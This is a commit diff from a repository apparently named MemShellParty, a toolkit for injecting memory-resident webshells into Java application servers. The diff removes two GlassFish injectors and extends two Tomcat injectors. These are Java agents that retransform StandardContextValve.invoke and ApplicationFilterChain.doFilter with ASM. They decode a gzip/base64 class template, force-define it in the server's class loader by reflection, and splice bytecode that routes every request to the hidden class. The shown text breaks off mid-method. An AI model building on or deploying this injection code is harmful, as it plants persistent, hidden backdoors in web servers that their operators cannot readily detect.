mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
fix: bes 9.5.1 agent shell not work
This commit is contained in:
-215
@@ -1,215 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-215
@@ -1,215 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+63
-1
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,6 +21,10 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getBase64String() {
|
||||||
|
return "{{base64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
@@ -42,6 +49,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
try {
|
try {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
@@ -70,7 +78,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -150,4 +158,58 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
return index;
|
return index;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+63
-1
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,6 +21,10 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getBase64String() {
|
||||||
|
return "{{base64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
@@ -42,6 +49,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
try {
|
try {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
@@ -70,7 +78,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -150,4 +158,58 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
return index;
|
return index;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
